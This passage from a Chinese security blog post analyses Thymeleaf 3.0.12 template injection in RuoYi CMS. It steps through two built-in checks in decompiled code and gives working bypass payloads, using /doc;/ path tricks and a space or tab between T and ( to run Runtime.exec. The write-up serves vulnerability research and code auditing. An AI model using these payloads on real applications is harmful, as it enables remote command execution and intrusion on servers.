如果是则进行二次处理——将"+"转义成空格、如果%的数量大于一,需要一次将它们全部转义,处理完毕后将处理后的字符串返还回,而getRequestURI获取的即是URI根路径下的内容

image.png

在这里我们跟进查看一下上层传递过来的viewName和Request的关系,我们直接在org.springframework.web.servlet.DispatcherServlet#doDispatch的this.applyDefaultViewName(processedRequest, mv);处下断点进行调试分析:

image.png

在这里可以看到viewName是从request中获取的:

image.png

随后这里调用getViewName获取viewName,继续跟进:

image.png

随后调用ServletRequestPathUtils.getCachedPathValue(request);获取path

image.png

随后跟进这里的getCachedPath(request);

image.png

随后调用(String)request.getAttribute(UrlPathHelper.PATH_ATTRIBUTE);获取path:

image.png

紧接着调用this.attributes.get(name);根据键值获取到对应的path,而这里的path是经过过滤处理的

image.png

image.png

那么这里我们便可以使用如下的载荷来绕过此处的checkViewNameNotInRequest的过滤:

/doc;/
/doc/;/

随后我们构造如下的payload:

/doc;/__$%7BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x

此时到了checkViewNameNotInRequest时requestURI为/doc;/${t(java.lang.runtime).getruntime().exec("calc")}__::.x,而vn为doc/${t(java.lang.runtime).getruntime().exec("calc")}__::,从而绕过检测

image.png

checkViewNameNotInRequest完整示例代码如下:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.thymeleaf.spring5.util;

import java.util.Enumeration;
import javax.servlet.http.HttpServletRequest;
import org.thymeleaf.exceptions.TemplateProcessingException;
import org.thymeleaf.util.StringUtils;
import org.unbescape.uri.UriEscape;

public final class SpringRequestUtils {
    public static void checkViewNameNotInRequest(String viewName, HttpServletRequest request) {
        String vn = StringUtils.pack(viewName);
        String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
        boolean found = requestURI != null && requestURI.contains(vn);
        if (!found) {
            Enumeration<String> paramNames = request.getParameterNames();

            while(!found && paramNames.hasMoreElements()) {
                String[] paramValues = request.getParameterValues((String)paramNames.nextElement());

                for(int i = 0; !found && i < paramValues.length; ++i) {
                    String paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
                    if (paramValue.contains(vn)) {
                        found = true;
                    }
                }
            }
        }

        if (found) {
            throw new TemplateProcessingException("View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.");
        }
    }

但是虽然绕过了这里的检测却并未成功执行反而还报了错:

/doc;/__$%7BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x

image.png

第二阶段

随后我们跟踪调试来到解析的位置,跟进这里的fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");,他会将viewTemplateName 使用~{}进行包裹并进行一次预解析类操作

image.png

在这里调用parseExpression(context, input, true)进行解析操作,随后跟进:

image.png

随后调用StandardExpressionPreprocessor.preprocess(context, input)

image.png

随后进行预执行命令的匹配:

image.png

随后按步就班的来到Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);进行预执行操作:

image.png

调用execute进行表达式执行:

image.png

随后调用SimpleExpression.executeSimple(context, (SimpleExpression)expression, expressionEvaluator, expContext);

image.png

随后调用evaluate进行表达式的评估

image.png

随后调用obtainComputedSpelExpression来获取表达式内容:

image.png

在这里调用了getRestrictInstantiationAndStatic()

image.png

随后这里调用了一个containsSpELInstantiationOrStatic

image.png

随后这对new关键词进行了检查匹配,这里是倒叙提取数据进行匹配检查,所以是wen:

image.png

同时这里对关键字符"T"进行了匹配,主要的要点在于匹配到"("后,向左匹配到T,并使用!Character.isJavaIdentifierPart(expression.charAt(n - 2))来检查expression中索引为n - 2的字符是否不是有效的Java标识符的一部分,如果该条件为真,则意味着在字符串的这个位置有一个字符不符合Java的标识符规则

image.png

完整的containsSpELInstantiationOrStatic检查代码如下所示:

org\thymeleaf\spring5\util\SpringStandardExpressionUtils.class

public static boolean containsSpELInstantiationOrStatic(String expression) {
        int explen = expression.length();
        int n = explen;
        int ni = 0;
        int si = -1;

        while(n-- != 0) {
            char c = expression.charAt(n);
            if (ni >= NEW_LEN || c != NEW_ARRAY[ni] || ni <= 0 && (n + 1 >= explen || !Character.isWhitespace(expression.charAt(n + 1)))) {
                if (ni > 0) {
                    n += ni;
                    ni = 0;
                    if (si < n) {
                        si = -1;
                    }
                } else {
                    ni = 0;
                    if (c == ')') {
                        si = n;
                    } else {
                        if (si > n && c == '(' && n - 1 >= 0 && expression.charAt(n - 1) == 'T' && (n - 1 == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
                            return true;
                        }

                        if (si > n && !Character.isJavaIdentifierPart(c) && c != '.') {
                            si = -1;
                        }
                    }
                }
            } else {
                ++ni;
                if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
                    return true;
                }
            }
        }

        return false;
    }

综上所述:Thymeleaf 3.0.12版本中通过checkViewNameNotInRequest来检查ViewName是否与URL PATH一致来防止URL PATH可控导致的模板注入问题,关于此部分我们可以结合解析特性并构造异形的URL来绕过检查,随后迎来的第二轮检查containsSpELInstantiationOrStatic对关键字New进行了检查,限制了诸如T(java.lang.String)和new java.lang.String()构造的语句,同时过滤并对"T(”进行了完全正则匹配,那么我们是不是可以在"T("两个字符直接插入一些无效的不影响SPEL表达式执行的字符来实现绕过并构造恶意载荷呢?答案是可以的,比如:空格

T     (java.lang.String)
载荷构造
/doc;/__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x

image.png

/doc;/__${T%09(java.lang.Runtime).getRuntime().exec("calc")}__::.x

image.png

文末小结

本篇文章主要介绍了Thymeleaf模板注入漏洞的原理以及相关载荷的构造,同时基于若依CMS的模板引擎漏洞问题对3.0.12版本中现有的多处安全机制进行了剖析并给出了相关的绕过方案,在做代码审计时可以优先看看第三方依赖是否有使用Thymeleaf模板库以及是否在漏洞影响范围之内并根据具体情况来构造载荷

参考链接

https://github.com/thymeleaf/thymeleaf/issues/809

https://github.com/thymeleaf/thymeleaf-spring/issues/256

  • 发表于 2025-03-03 09:00:01
  • 阅读 ( 3184 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
Al1ex
Al1ex

2 篇文章

站长统计